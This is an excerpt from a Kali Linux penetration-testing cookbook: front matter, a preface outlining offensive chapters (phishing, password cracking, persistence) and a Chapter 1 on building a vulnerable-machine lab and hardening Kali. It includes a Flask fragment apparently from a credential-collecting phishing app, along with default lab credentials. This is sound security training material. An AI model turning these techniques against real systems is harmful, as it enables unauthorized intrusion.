Kali Linux Cookbook for Pentesters
Kali Linux Cookbook for Pentesters
Third Edition
Corey P. Schultz
Kali Linux Cookbook
Third Edition
All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in
any form or by any means, without the prior written permission of the publisher, except in the case of brief
quotations embedded in critical articles or reviews.
Every effort has been made in the preparation of this book to ensure the accuracy of the information
presented. However, the information contained in this book is sold without warranty, either express or
implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any
damages caused or alleged to have been caused directly or indirectly by this book.
Packt Publishing has endeavored to provide trademark information about all of the companies and products
mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee
the accuracy of this information.
ISBN 978-1-83588-980-0
[Link]
To my wife, Melanie, whose love, patience, and strength carried me through the countless hours spent
writing this book. You gave me the time and space to create, even when it meant giving up so much of
your own.
And to my family and friends, especially my sons, Nate and Kyle—thank you for your constant support
and for reminding me of the things that matter most beyond the keyboard.
– Corey P. Schultz
Contributors
Corey currently serves as a Senior Solutions Engineering Leader for Cisco Systems’ U.S. Public
Sector organization, where he leads teams responsible for securing critical infrastructure across
state and local government, as well as education and transportation sectors.
An advocate for experiential learning, Corey is actively involved in cybersecurity education ini-
tiatives and contributes to developing hands-on training content for students and professionals.
His work explores the evolving relationship between technology, learning, and privacy, and he
regularly shares insights through workshops, public speaking engagements, and publications.
You can find more of his work on his blog at [Link], follow him on Mastodon at
@cschultz0000@[Link], or connect with him on LinkedIn at [Link]/in/
cschultz0000.
About the reviewers
Athira Krishnan is a Cybersecurity Analyst with over six years of experience specializing in
incident response, threat detection and hunting, and digital forensics. Athira has led numerous
high-impact investigations, responding to advanced adversary activity, including ransomware,
APTs, and other complex threat campaigns. With a strong foundation in blue team operations and
practical exposure to red teaming, Athira brings a comprehensive approach to threat detection,
containment, and recovery. Her expertise lies in managing end-to-end incident response lifecy-
cles—from triage and analysis to remediation and post-incident review—while mentoring teams
and refining detection strategies. With a master’s in cyber forensics and information security,
Athira is committed to continuous improvement and knowledge sharing within the cybersecu-
rity community, blending analytical precision with a passion for strengthening digital resilience.
Simon Ngoy Mukendi, based in the Democratic Republic of Congo, is a security researcher
with over six years of experience in red teaming. Simon specializes in identifying, exploiting, and
remediating vulnerabilities across web, mobile, cloud, and Active Directory environments, as well
as designing Advanced Persistent Threat (APT) simulation scenarios to assess organizational
resilience.
Simon is proficient with key offensive tools such as Burp Suite, Cobalt Strike, and Sliver and re-
lies on frameworks such as MITRE ATT&CK, OWASP, and NIST to guide his methodologies and
recommendations. His current research focuses on the development of advanced evasion tech-
niques against EDR/XDR solutions and on collaboration with blue teams to improve detection
and incident response capabilities.
Simon also participates in bug bounty programs on platforms such as Bugcrowd, where he has
discovered and reported multiple critical vulnerabilities supported by technical proof-of-concept
exploits. Passionate about offensive security research and continuous innovation, Simon dedi-
cates part of his time to studying emerging attack techniques, developing detection and defense
mechanisms (EDR), and strengthening organizational resilience against advanced cyber threats.
viii Table of Contents
Table of Contents
Preface xxix
How to do it… • 46
How it works… • 51
There is more… • 51
Other test machines ���������������������������������������������������������������������������������������������������������� 52
Getting ready… • 52
How to do it… • 52
How it works… • 53
There is more… • 53
Chapter 12: Web Warriors: Exploiting Online and Database Vulnerabilities 451
Index 527
Preface
Kali Linux has long stood as the cornerstone for penetration testers, ethical hackers, and cy-
bersecurity professionals around the world. This third edition of the Kali Linux Cookbook brings
together practical, real-world examples designed to walk readers through the full spectrum of
modern offensive security techniques. With each chapter presented as a series of self-contained
recipes, you can easily replicate attacks, explore vulnerabilities, and understand the mechanics
behind the tools that shape the modern cybersecurity landscape.
From reconnaissance and exploitation to persistence and post-exploitation, this book reflects
the evolution of threat actors and defensive countermeasures, offering both foundational skills
and advanced methodologies. Whether you are just beginning your ethical hacking journey or
expanding an established security practice, these hands-on examples provide the clarity and
confidence to apply Kali Linux effectively in any testing environment.
Chapter 2, Cloak and Dagger: Stealth and Anonymity, explores anonymity, obfuscation, and secure
browsing techniques. You will learn how to use Tor, proxy chains, and VPNs to mask your digital
footprint during penetration testing.
Chapter 3, Deep Recon: Unveiling the Digital Landscape, covers reconnaissance tools such as DN-
SRecon, Maltego, and Shodan to gather intelligence on your targets. You’ll learn how to map
networks, analyze routing, and identify cloud assets.
Preface xxxi
Chapter 4, Nmap Mastery – Scanning with Precision, focuses on using Nmap for network discovery
and vulnerability scanning. You will learn how to interpret results and optimize scans for speed,
stealth, and accuracy.
Chapter 5, Wireshark Wizard: Network Traffic Demystified, teaches you packet capture and analysis
techniques using Wireshark. You will learn how to identify malicious traffic, decode protocols,
and analyze attack behaviors.
Chapter 7, Exploitation Unleashed: Finding the Hidden Flaws, introduces exploitation with Metasploit
and manual attack techniques. You will develop and deploy exploits against vulnerable targets
to gain initial access.
Chapter 8, Human Hacking: The Art of Social Engineering, explores social engineering, phishing, and
AI-enhanced deception. You will learn how to create realistic phishing campaigns, clone websites,
generate malicious QR codes, and perform AI-assisted reconnaissance.
Chapter 9, Breaking Barriers – The Secrets of Password Cracking, covers password cracking strategies
using John the Ripper, Hydra, and CeWL. You will build and optimize custom wordlists and attack
both local and remote authentication systems.
Chapter 10, Climbing the Ladder – Mastering Privilege Escalation, examines privilege escalation in
both Windows and Linux environments. You will learn how to chain exploits and leverage mis-
configurations to obtain administrative access.
Chapter 11, Wireless Warfare – Dominating the Airwaves, focuses on wireless security testing, in-
cluding WPA/WPA2 cracking, rogue access point creation, and denial-of-service attacks. You will
also explore MAC filtering, SSID discovery, and Evil Twin attacks.
Chapter 12, Web Warriors – Exploiting Online and Database Vulnerabilities, provides hands-on expe-
rience in exploiting web applications and databases. You will learn about SQL injection with SQL-
Map, perform WordPress and Drupal assessments, and enumerate vulnerable web technologies.
Chapter 13, Persistence Pays – Securing Long-Term Access, explains post-exploitation persistence
techniques, including creating hidden users, establishing covert channels, and encrypting com-
munications for stealthy long-term access.
xxxii Preface
Conventions used
There are a number of text conventions used throughout this book.
CodeInText: Indicates code words in text, database table names, folder names, filenames, file
extensions, pathnames, dummy URLs, user input, and X (formerly known as Twitter) handles.
For example: “In this case, the netblock associated with this IP address range is [Link]/15,
which includes the IP addresses [Link] to [Link].”
app = Flask(__name__)
app.secret_key = [Link](16) # key for session management
def get_package_id():
if [Link] == "POST":
package_id = [Link]("package_id")
session["package_id"] = package_id
return redirect(url_for("get_user_credentials"))
Bold: Indicates a new term, an important word, or words that you see on the screen. For instance,
words in menus or dialog boxes appear in the text like this. For example: “In this recipe, we focus
on how artificial intelligence (AI) can aid in reconnaissance, helping you identify and analyze
potential targets more swiftly and accurately than ever before.”
Warnings or important notes appear like this.
Get in touch
Feedback from our readers is always welcome.
General feedback: If you have questions about any aspect of this book or have any general feed-
back, please email us at customercare@[Link] and mention the book’s title in the subject
of your message.
Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you have found a mistake in this book, we would be grateful if you reported this to us.
Please visit [Link] click Submit Errata, and fill in the form. We
ensure that all valid errata are promptly updated in the GitHub repository at [Link]
com/PacktPublishing/Kali-Linux-Cookbook.
Piracy: If you come across any illegal copies of our works in any form on the internet, we would
be grateful if you would provide us with the location address or website name. Please contact us
at copyright@[Link] with a link to the material.
If you are interested in becoming an author: If there is a topic that you have expertise in and you
are interested in either writing or contributing to a book, please visit [Link]
xxxiv Preface
Here’s a quick overview of what you can instantly unlock with your purchase:
Access a DRM-free PDF copy of this book Multi-device progress sync: Pick up
to read anywhere, on any device. where you left off, on any device.
Use a DRM-free ePub version with your Highlighting and notetaking: Capture
favorite e-reader. ideas and turn reading into lasting
knowledge.
How to Unlock
Scan the QR code (or go to [Link]/unlock). Search for this
book by name, confirm the edition, and then follow the steps on
the page.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
1
Bootstrapping Your Cyber
Arsenal
In this chapter, we will start by setting up the core of our lab environment, which will serve as the
foundation for most of the demonstrations throughout the book. The lab setup will be performed
on an x86 Windows platform using VirtualBox. The term x86 commonly refers to the processor
architecture of Intel and AMD processors. We do not recommend using Apple silicon Macs, as
VirtualBox currently does not allow x86 architecture emulation. At the time of writing, support
for x86 Windows operating systems running under Apple silicon is a stated goal of the project.
If you are seeking a more sophisticated setup, you can build a full-scale virtualization environment,
assuming your hardware and resources allow for it. In the past, VMware was often my go-to rec-
ommendation for such environments due to its robustness and flexibility. While it remains a good
option, its recent acquisition by Broadcom has introduced licensing changes and limitations in
the free tier that make it less appealing, especially for home labs. As a result, my current recom-
mendation for home-based virtualization is Proxmox. Proxmox is open source, well supported by
the community, and offers many features, making it ideal for a flexible, robust lab environment.
Throughout this book, the lab environment will be a hands-on playground where you can test
various tools and techniques in a controlled setting. By completing this chapter, you will have
a fully functional lab that mirrors the real-world environments you’ll encounter in your career,
whether you’re a penetration tester, security researcher, or network administrator.
2 Bootstrapping Your Cyber Arsenal
• Lab architecture/considerations
• Installing VirtualBox on Windows
• Installing Kali in VirtualBox
• Installing Kali in Docker
• Installing Kali on Raspberry PI
• Updating and upgrading Kali Linux
• Installation of Kali metapackages
• Securing Kali
• Checking for rootkits and other exploits
• Installing Metasploitable3 Linux and Windows VMs
• Installing Damn Vulnerable Linux (DVL)
• Installing and setting up bWAPP via bee-box
• Other test machines
Technical requirements
The following are the necessary requirements:
• Software considerations:
• Administrative access:
While an Apple silicon Mac can run Kali Linux in VirtualBox, it cannot run the Windows x86 op-
erating system due to current limitations with VirtualBox. However, other options for virtualiza-
tion will allow Windows to run on Apple silicon Macs, such as Parallels or UTM virtual machines.
However, these will use the version of Microsoft Windows for the ARM64 architecture. Because
most of your targets in the wild at this point will be Windows on x86 processors, I would highly
suggest using an x86 architecture system.
These forgotten systems are not as rare as one might think. For example, some organizations
might still have an old Windows XP machine running some critical legacy software that can’t
be updated, or a server that was taken offline for maintenance and then brought back online
without re-enabling automatic patching. These types of systems can remain hidden in plain sight,
unmonitored, and vulnerable, offering an enticing target for attackers.
In the context of our lab, we will be simulating this real-world scenario by setting up such vulnera-
ble machines. The goal is to mimic the environments attackers often encounter, where the weakest
link in the chain is a forgotten or neglected system. By practicing on these kinds of targets, you’ll
gain a deeper understanding of how attackers think, operate, and exploit weaknesses in a network.
4 Bootstrapping Your Cyber Arsenal
It’s worth noting that the principles you’ll learn here extend beyond just older systems. While
we use these unpatched machines for instructional purposes, the techniques and methodologies
we’ll cover can be applied to a wide range of real-world scenarios, including more modern sys-
tems that may have specific vulnerabilities due to misconfiguration or delays in patching. The
key is to focus on finding and exploiting the weakest points in the environment. Whether it’s an
old legacy machine or a more recent system with an overlooked vulnerability, the concepts we’ll
practice will help you understand how to identify, analyze, and exploit security gaps effectively.
Getting ready…
Ensure the Windows PC meets the minimum requirements, as stated, and you have administra-
tive access to the device.
How to do it…
1. Using your web browser, download the latest version of VirtualBox and the VirtualBox
extension pack from [Link]
2. Browse the folder containing the VirtualBox installer (for example, Virtual-
[Link]) and double-click it to begin the installation.
3. Click Next in the setup wizard.
4. Select the radio button labeled I accept the terms of the License Agreement and click Next.
5. On the Custom Setup screen, click Next, leaving the defaults selected.
You will likely receive a Warning: Network Interface screen warning that the network
interfaces will be reset. Click Yes to proceed with the installation.
6. You will likely see a Missing Dependencies screen. Click Yes to proceed with the instal-
lation.
7. On the Custom Setup screen, select your preferences and click Next.
8. On the Ready to Install screen, click Install.
9. Once the installation is finished, select Start Oracle VirtualBox… and click Finish.
10. Once VirtualBox launches, select File | Preferences and select Expert to see all available
options. Under General, ensure your default machine folder is appropriate for installation.
11. Next, select Update, ensure updates are enabled, and set to your preference. Select OK to
exit the Preferences screen.
12. To install the extension pack. From the main screen, click the icon on the right of Tools
and select Extensions.
13. Click Install, browse to the location of the extension pack, and click Open.
14. You will be prompted with a screen to install the extension pack. Click Install to continue.
15. Scroll down on the license agreement and click I Agree.
Chapter 1 7
16. Let’s set up VirtualBox networking for our lab. Select Tools under file menu and click
on Network.
17. Check and ensure you have both a Host-only Networks entry and a NAT Networks entry.
A host-only network limits accessibility to only the local network, reducing internet con-
nectivity and limiting any exposure to risks associated with Internet access. If not, create
each by selecting the appropriate tab and clicking Create. It will automatically populate,
and the defaults should be sufficient for the lab.
How it works…
VirtualBox is powerful, open source virtualization software that enables users to run multiple
operating systems simultaneously on a single physical machine. The process begins with install-
ing VirtualBox on the host operating system, such as Windows, macOS, or Linux. Once installed,
users can run multiple operating systems simultaneously on a single physical machine by creating
virtual machines (VMs). Each VM acts independently, running its own OS and applications like
a separate physical computer.
There is more…
There are many virtualization platforms out there that may be used. You may desire a dedicated
server to expand your lab as you progress beyond this book. In such a case, I would recommend
using Proxmox: [Link]
Proxmox is an open source virtualization platform that you may use for free. There are subscription
tiers available, but they are optional for personal use. If you have access to a computer that you
want to dedicate to your lab, Proxmox would be a great choice for this. A dedicated environment
will allow you far more latitude in the development of your lab scenario while not impacting the
resources of your personal computer.
Getting ready…
You need the following to complete this recipe:
• VirtualBox is correctly installed on the host computer or a similar hypervisor and config-
ured to meet the requirements of the lab environment.
Chapter 1 9
How to do it…
1. To begin, you must install 7-Zip to extract the Kali Linux software. Download the 7-Zip
installer at [Link]
2. Browse to the location where the file was downloaded and double-click the file to begin
the installation.
3. Once you receive the message stating 7-Zip is installed, click Close.
4. Next, download the Kali VM from this link: [Link]
5. On the main screen, you will be presented with multiple options – select Virtual Machines.
6. This will present you with multiple hypervisor options. Select VirtualBox 64 and click
the down arrow to begin the download.
8. Right-click on the kali-linux… .7z file, select 7-Zip, then Extract to ‘kali-linux…’.
12. You will be presented with the file manager and should see the folder you moved in the
prior steps. Double-click the folder and you will be presented with one file with a .vbox
extension. Select this file and click Open.
Tip
If you do not see the folder, please double-check that you moved the folder
to the proper location.
You will now see a new VM labeled kali-linux… on the left side of the screen.
14. Now, from the menu bar, select Settings, which will open the VM settings dialog box.
12 Bootstrapping Your Cyber Arsenal
15. From here, you can modify the VM’s settings. Change the network configuration to ac-
commodate your lab environment by scrolling down to the Network section. Here, for
Adapter 1, check the box next to Enable Network Adapter and select the NAT option in
the Attached to dropdown. For Adapter 2, make sure the network adapter is also enabled
and select Host-only Adapter for Attached to.
Tip
If your computer has more than the minimum requirements, you may want
to increase the memory from 2048 MB to 4096 MB and the number of pro-
cessors from 2 to 4. This would be under the System section on the Moth-
erboard and Processor tabs.
17. Once back at the main VirtualBox Manager screen, select the VM and click on Start.
Once the Kali VM starts, you can log in with the kali username and kali password.
How it works…
Having pre-built VMs is the easiest way to get your environment up and running. As seen in the
recipe, you got a working Kali environment up and running in mere minutes using the pre-built
VMs.
There is more…
There are a variety of methods and configurations to install Kali Linux. We will explore some of
these later in this chapter. However, it’s essential to familiarize yourself with them, as a robust
toolkit may require Kali installed in various ways on multiple platforms. Please review the various
methods outlined here: [Link]
14 Bootstrapping Your Cyber Arsenal
Getting ready…
We need the following to complete this recipe:
How to do it…
1. Access the Portainer web interface of your Docker host and log in if needed.
2. Select the appropriate Docker version—you may have only one option—and click Live
connect.
Tip
Portainer stacks are the equivalent of Docker Compose files you use via the
command-line interface.
Tip
Also, if you are more familiar with using Docker via the CLI, you may use
the preceding configuration and place it in a Docker Compose YAML file.
7. Scroll down to the Actions section and click Deploy the stack.
Once the stack is deployed, you may access it using the IP address of your Docker host
and port 3000 – for example, [Link] For my lab, I will go to http://
[Link], which is the FQDN of the internal host. You will see
the Kali desktop, as shown in Figure 1.15.
Chapter 1 17
How it works…
A variety of Kali Linux images can be used. This image was created with a VNC interface, allowing
desktop web access. This is an excellent environment for those learning about and experimenting
with Kali Linux.
There is more…
Further information about Kali in Docker can be found on the Kali Linux website:
[Link]
There are a variety of options that can be run in Docker. As you progress, I suggest you experiment
with different images, including the official Kali Linux images, to understand Docker’s power
and flexibility.
Getting ready…
You need the following to complete this recipe:
• A Raspberry Pi 4 or 5
• HDMI adapter, cable, and monitor
• Keyboard and mouse
• Micro SD card – 32 GB minimum
How to do it…
1. Insert the SD Card reader and card into your Windows PC.
2. From your Windows machine, navigate to [Link]
4. Navigate to the download location and start the installation by double-clicking on the
installer named similar to imager_x.[Link].
5. When presented with the Raspberry Pi Imager – Setup dialog, click Install to begin the
installation process.
6. When the installer completes, ensure Run Raspberry Pi Imager is selected and click Finish.
7. You will now be presented with the main Raspberry Pi Imager dialog box. Choose the
appropriate device based on which Raspberry Pi you have. This example uses RASPBERRY
PI 4.
8. Next, click on CHOOSE OS. You will be presented with a list of operating systems. Scroll
down and select Other specific-purpose OS.
20 Bootstrapping Your Cyber Arsenal
Tip
11. When presented with the ...apply OS customisation? dialog box, select EDIT SETTINGS.
12. From the OS Customisation panel, you have the option to preconfigure various settings.
For this example, enter the username and password and select wireless and locale settings.
Select SAVE to continue.
You will finally be presented with a status screen showing the progress of imaging your
SD card (this will take several minutes).
15. Once your image is complete, you will see the write successful dialog box. Click CON-
TINUE to exit the imager.
Chapter 1 23
16. Remove the SD card from the reader and insert it into the Raspberry PI. Connect your
monitor, keyboard, mouse, and power supply. Turn on the power supply and it will au-
tomatically boot.
You will now be presented with the Kali Linux login screen. If your customizations were set up
correctly, you will be able to log in, will have the correct time, and will be connected to the internet
via the wireless settings we used.
How it works…
Raspberry Pi Imager is a straightforward and efficient tool for installing operating systems on
Raspberry Pi devices. Raspberry Pi Imager makes setting up a Raspberry Pi quick and easy, even for
those new to using Raspberry Pi devices. Pairing a Raspberry Pi with Kali gives you a penetration
testing toolkit that can fit in the palm of your hand.
There is more…
Kali is compatible with a variety of single-board computers, such as the Raspberry Pi. Each plat-
form offers unique benefits that may aid in various use cases. You can see a listing of the various
options and research each one on the following website: [Link]
Getting ready…
You need the following to complete this recipe:
How to do it…
1. From the main Kali GUI, open a terminal window. Select the Terminal icon on the screen.
2. In the terminal window, you will enter a few commands. Each step could take several
minutes, depending on your computer and internet connection. Please be patient. Write
the first command to update the local package index, as shown here:
sudo apt update
Chapter 1 25
Tip
The sudo command (short for superuser do) will require the password user
for the Kali user. sudo will only require passwords for the first use or after
an elapsed period of time.
3. Use the following command to update installed packages to their latest version while
replacing or removing old ones:
sudo apt full-upgrade -y
4. During the upgrade, you will likely be given the choice to restart services. Select <Yes>.
5. During the upgrade, you will likely be shown the following notification regarding Post-
greSQL. Select <Ok>.
7. Once the reboot is complete, log in and open the terminal window as you did in Step 1.
8. Use the following two commands at once to update the package index again and do any
other needed upgrades:
sudo apt update && sudo apt upgrade -y
Tip
The preceding command should be used often to check for and install any
new updates.
9. Finally, clean any packages no longer needed with the following command:
sudo apt autoremove -y
Chapter 1 27
How it works…
Advanced Package Tool (APT) is the default package manager for Debian-based Linux distri-
butions such as Kali or Ubuntu. We updated the list of available packages to ensure we have the
most up-to-date package library. Due to this being a new install, starting with a full upgrade is
essential to ensure the most up-to-date system. After rebooting, we redo the process with just
the upgrade command to do another check, and lastly, we finish by cleaning up old packages
that are no longer needed.
There is more…
APT is a critical utility as it handles the installation, removal, and upgrade of most of the packages
and tools you may want to use. You can review additional information at [Link]
blog/advanced-package-management-in-kali-linux/.
Using metapackages, you can optimize your installation to include just the tools you need with-
out manually installing each one, saving you time and ensuring you have a set of tools for the
required application.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. From the GUI, select the Kali menu, then Settings, then Kali Tweaks.
Tip
Kali Tweaks can be initiated from the terminal by entering this command:
kali-tweaks
2. From the Kali Tweaks main menu, choose Metapackages and click on <Select>.
3. It will ask for sudo password for kali – enter the password.
4. You will be presented with a list of metapackages. Select 802.11, bluetooth, windows-re-
sources, and kali-linux-large, and then select <Apply>.
5. You will receive a verification window displaying the list of packages to be installed. Select
<OK> to continue.
6. If your system requires upgrading, you will be informed and will have the option to skip
or continue with the upgrade. Select <OK> for this example.
Chapter 1 29
Once complete, you will see a message screen: > Press Enter to continue …
7. Upon pressing Enter, you will be returned to the main menu. Here, select <Quit>.
How it works…
Kali Tweaks is just a GUI for using the APT program directly from the terminal. If you watch it
closely, it simply invokes the appropriate apt commands based on the settings of your system.
The example demonstrates what would happen if the system were not entirely up to date when
invoking the commands.
There is more…
Kali metapackages are an alternative to installing tools one at a time and will install groups of tools
based on your needs. As seen, there are many options for you to explore and experiment with. Ad-
ditional information can be found at [Link]
Another critical reason to secure Kali Linux is to prevent reverse hacking, where attackers attempt
to identify and exploit the identity or location of the user conducting the penetration tests. A poorly
secured system could inadvertently leak identifying information such as IP addresses, usernames,
or physical locations, undermining the user’s anonymity and exposing them to legal or personal
risks. Additionally, unsecured systems are vulnerable to data exfiltration, unauthorized access,
and the installation of backdoors. Implementing best practices such as regular updates, strong
authentication mechanisms, encrypted communications, and using virtual environments can
significantly mitigate these risks.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. From the main Kali GUI, open a terminal window. Select the Terminal icon from the screen.
2. The most important thing to do to secure Kali Linux is to keep it up to date. You can refer
to the prior recipe, Updating and upgrading Kali Linux. However, to quickly do it, enter
the following command:
sudo apt update && sudo apt full-upgrade -y
3. Enter the password if required for the sudo command and follow and acknowledge any
prompts according to your installation.
4. Once complete, reboot the VM using the following:
sudo shutdown -r now
7. Enter the current password and the new password, and retype the new password. Once
successful, you will get the following response:
passwd: password updated successfully
8. Next, let’s lock down the SSH server. If you do not need the SSH server, you can remove it
by entering the following command:
sudo apt remove openssh-server
Tip
Only perform this step if you do not plan on remotely accessing this Kali
Linux system via SSH.
9. If you removed the OpenSSH server in the previous step, you may skip this step. Otherwise,
rotate the SSH keys of the server using the following:
cd /etc/ssh
mkdir orig_keys
sudo mv ssh_host_* orig_keys/
sudo dpkg-reconfigure openssh-server
32 Bootstrapping Your Cyber Arsenal
Tip
This will start the SSH service, but it will not be maintained after reboot. To
maintain it after reboots, you must also enter this:
sudo systemctl enable ssh
How it works…
In this recipe, we ensured the three most important steps in ensuring a secure environment. We
updated the system, which must be done regularly to ensure security; we changed the default
password and used a complex password. Lastly, we rotated our SSH keys, ensuring that we were
protected against man-in-the-middle attacks.
There is more…
More information on securing Kali Linux can be found in the forums: [Link]
Exploits can create backdoors, allowing attackers to infiltrate the host and spread malware to
other connected devices, threatening overall network security. Furthermore, they can enable
the attacker to gain personally identifiable information, such as who you are and where you
are located, no matter what steps you take to protect your anonymity. Identifying and dealing
with rootkits and exploits promptly also prevents attackers from using compromised systems
as a launchpad for further attacks within your network. You can maintain a secure and reliable
system by taking these steps.
Chapter 1 33
Getting ready…
We need the following to complete this recipe:
How to do it…
1. From the main Kali GUI, open a terminal window. Select the Terminal icon from the screen.
2. Run the following to install chkrootkit and run it.
sudo apt update
sudo apt install chkrootkit
sudo chkrootkit
3. Record the output to provide you with a baseline for future checks. Review the output,
look for anything suspicious or any indications of compromise or warnings, and take
action as needed.
Tip
To create a file from the output of the command, you can append the fol-
lowing:
>> ~/20241116_chkrootkit.txt
This will create a file in your home directory with that name that you can
keep for comparison in the future.
4. Now install rkhunter and run it as shown to check for rootkits and other exploits.
sudo apt install rkhunter
6. From within the nano editor, find and change the following variables:
MIRRORS_MODE=0
UPDATE_MIRRORS=1
WEB_CMD=""
Chapter 1 35
10. Once complete, you can use the nano editor to explore the log file and analyze any warn-
ings using the following.
sudo nano /var/log/[Link]
How it works…
Both rkhunter and chkrootkit are popular tools for testing a Linux system’s integrity against
exploits and rootkits. We installed each tool, ensured it was up to date, ran it, and investigated
the output.
There is more…
You can get more information about each tool on their respective websites: [Link]
[Link]/ and [Link]
It is a practical environment for users to explore and exploit various security flaws and is effective
for vulnerability scanning, exploitation, privilege escalation, and post-exploitation activities. It
also provides an ideal platform to practice attack vectors and tools such as Kali Linux. Using this
VM helps you identify and exploit weaknesses in Linux and Windows operating systems.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Open your web browser and navigate to [Link]
install?product_intent=vagrant.
2. Find the appropriate download for your host and download Vagrant.
3. Once the file has been downloaded, close your web browser. Navigate to the Vagrant file
you downloaded and double-click it to begin installation.
4. Accept the license agreement and click Install.
5. Once the installation is completed, click Finish.
6. You will then be asked to reboot – select Yes to reboot the host.
7. Once the host computer is back up, log in and open the command prompt.
Tip
8. Navigate to your default VM location from within the command window. In this
example, it’s on the D: drive. From there, we must add a new workplace directory, naming
it metasploitable3-workplace, and cd into it, as shown.
d:
cd kali_cb_vms
mkdir metasploitable3-workplace
cd metasploitable3-workplace
9. Now, download the Vagrant file, which will be used to create our VMs using the following.
powershell Invoke-WebRequest -Uri "[Link]
com/rapid7/metasploitable3/master/Vagrantfile" -OutFile
"Vagrantfile"
10. Once the Vagrant file has been downloaded, you can bring the VMs online with the fol-
lowing command:
vagrant up
The process will take a significant amount of time, and there will be some warnings gen-
erated due to configuring a host-only network before installing Metasploitable3.
11. Once complete, launch VirtualBox by double-clicking the icon on your desktop.
12. You will notice two new VMs from VirtualBox Manager with names beginning with
metasploitable3.
If either of those VMs is running, you will want to shut them down. The easiest way is to
select the VM and right-click and select Stop, and click Shutdown.
15. Now, if you see two VirtualBox host-only Ethernet adapters, then remove the second one
that has the suffix #2 by selecting it and clicking Remove.
Now, to clean up each VM, we select the VM and click on the Network icon.
16. Check each network adapter. The only one that should be enabled is Adapter 1, and it
should be connected to the host-only Ethernet adapter. When finished, click OK. Do this
for each of the Metasploitable3 VMs.
17. Now, you may launch each VM and try logging into each. For the Linux workstation, the
username and password are vagrant. For the Windows machine, both the administrator
and Vagrant user’s password are vagrant.
Note
18. Once complete, shut down the VM as before by using the Shutdown option.
How it works…
Vagrant is an open source software product for building and maintaining virtualized development
environments. Vagrant was used to deploy the pre-built Metasploitable3 VMs within VirtualBox
quickly and straightforwardly.
There is more…
Vagrant is a useful tool, and I would recommend reviewing the website for additional information
on useful options as you continue with the lab:
[Link]
There is plenty of useful information on the Metasploitable3 GitHub pages located at https://
[Link]/rapid7/metasploitable3?tab=readme-ov-file and [Link]
metasploitable3, and specific information about the vulnerabilities can be found on the wiki at
[Link]
Although this is an older image, it is still a valuable example of how to load a live ISO image in
your hacking lab. Some images will come in this form, so it’s essential to understand how to
work with live images.
Chapter 1 43
Getting ready…
You need the following to complete this recipe:
How to do it…
1. From your web browser, navigate to [Link]
linux-dvl-15-infectious-disease,1/.
2. Scroll down and select DVL_1.5_Infectious_Disease.iso.
3. Once the download completes, navigate to your default VM directory and create a folder
called ISOs.
4. Move the DVL image into the ISOs folder.
5. From VirtualBox Manager, select Add, name your VM DVL 1.5, and adjust the ISO Image
to point to the file you just downloaded and moved. Under Type, select Linux, for Subtype,
select Linux 2.4, and for Version, select Linux 2.4 (64-bit).
6. Move to Hard Disk, select Do Not Add a Virtual Hard Disk, and click Finish.
7. While the DVL 1.5 VM is selected, click Network.
8. From the DVL 1.5 | Settings screen, for Adapter 1, choose Host-only Adapter in the At-
tached to dropdown and click OK.
9. Now start the VM and log in with the username root and the password toor.
10. When finished, you may power off the VM by typing the following:
poweroff
Tip
DVL running as a live image will not persist changes across reboots. You will always
be booting the system back to its original configuration.
How it works…
DVL is a live image that operates purely from an ISO image. In the manner we set it up, it operates
in a non-persistent way, which means every time you reboot the machine, you are presented with
the same starting position.
There is more…
Although DVL has been discontinued, there are still plenty of resources on the web if you choose
to explore this further.
46 Bootstrapping Your Cyber Arsenal
The vulnerabilities in BWAPP are designed to mimic real-world scenarios, enabling pen testers
to simulate attacks and see the threats firsthand.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. In your web browser, navigate to [Link]
2. Click Download.
4. This will redirect you to SourceForge. Here, click on bee-box_v1.6.7z to download it.
5. Locate the file you just downloaded, right-click and select 7-Zip, and then Extract to
“bee-box_v1.6\”.
6. Open it from within the newly created folder and move the bee-box directory to your
default VM Location.
7. In VirtualBox Manager, select Add. Name your machine beebox and select Linux, Linux
2.4, and Linux 2.4 (64-bit) for type, subtype, and version, respectively.
8. Next, go to the Hard Disk section, select Specify virtual hard disk, and click on the folder
icon on the right to choose your bee-box vmdk files.
Chapter 1 49
9. On the Hard Disk Selector screen, choose Add, browse to the bee-box directory, choose
the [Link] file, and attach it to the VM.
Tip
If the Use an Existing Virtual Hard Disk File selection did not change, you
may need to select the drop-down arrow on the right to find and change it.
Tip
How it works…
As BeeBox was initially developed for VMware, we had to use slightly different techniques to add
it to VirtualBox. This provided an example of how you may need to add other machines that do
not provide a native VirtualBox VM image.
There is more…
More information about bWAPP can be found on the following website: [Link]
com/. There, you will find information about the specific vulnerabilities and a wealth of infor-
mation in the blog.
52 Bootstrapping Your Cyber Arsenal
Each VM on VulnHub comes with unique challenges designed to simulate real-world scenarios in
controlled environments. Additionally, the community around VulnHub is incredibly supportive,
offering hints and write-ups to help users solve challenges and learn from each other.
Getting ready…
You need the following to complete this recipe:
• A web browser
• A stable internet connection
How to do it…
1. From your web browser, open [Link]
2. For this example, let’s search for broken web app and then select OWASP Broken Web
Applications Project 1.2.
3. Once open, explore all the information provided, including the documentation and the
walk-throughs linked in the menu at the top right.
How it works…
VulnHub is a simple browsable repository of many community-based VMs that have been up-
loaded for others to use as a testing resource.
There is more…
The pen-testing/security community is very robust, and some simple searching with Google will
allow you to find many resources available for your lab, practice environments, or tutorials. While
many security practitioners are open to providing help, they also want you to cut your teeth by
trying and breaking things yourself. So, if you ask questions on forums, ensure you have exhausted
both attempts at doing it yourself and online resources.
54 Bootstrapping Your Cyber Arsenal
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
2
Cloak and Dagger: Stealth and
Anonymity
In this chapter, we will learn how to maintain stealth and anonymity while we conduct our
pen-testing activities. Staying under the radar is often vital for success, as you don’t want to raise
any flags that would put people on alert, whether you’re simulating a cyberattack, gathering
intelligence, or safeguarding your actions. This chapter explores the tools and strategies needed
to obscure your digital presence, guiding you on how to navigate an increasingly monitored
internet without detection.
We start with the principles of anonymity, focusing on key practices to hide your identity and
reduce traceability. You’ll discover methods to protect your identity across various platforms, in-
cluding cryptocurrencies such as Bitcoin, secure email services, disposable accounts, and creating
